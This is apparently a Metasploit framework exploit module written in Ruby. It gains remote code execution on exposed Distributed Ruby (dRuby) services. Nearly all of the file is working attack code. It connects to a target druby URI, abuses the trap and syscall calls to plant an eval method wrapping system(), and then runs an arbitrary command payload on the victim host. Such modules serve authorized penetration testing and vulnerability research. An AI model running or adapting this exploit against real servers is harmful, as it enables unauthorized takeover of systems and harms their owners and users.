##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'drb/drb'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Distributed Ruby Remote Code Execution',
      'Description'    => %q{
        This module exploits remote code execution vulnerabilities in dRuby.
      },
      'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
          [ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ],
          [ 'URL', 'http://bugkraut.de/posts/tainting' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 32768,
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [
        ['Automatic', {}],
      ],
      'DisclosureDate' => 'Mar 23 2011',
      'DefaultTarget' => 0))


      register_options(
        [
          OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]),
        ], self.class)
  end

  def exploit
    serveruri = datastore['URI']
    DRb.start_service
    p = DRbObject.new_with_uri(serveruri)
    class << p
      undef :send
    end

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
    # syscall to decide whether it's 64 or 32 bit:
    # it's getpid on 32bit which will succeed, and writev on 64bit
    # which will fail due to missing args
    begin
      pid = p.send(:syscall, 20)
      p.send(:syscall, 37, pid, 23)
    rescue Errno::EBADF
      # 64 bit system
      pid = p.send(:syscall, 39)
      p.send(:syscall, 62, pid, 23)
    end
    p.send(:my_eval, payload.encoded)
  end

end
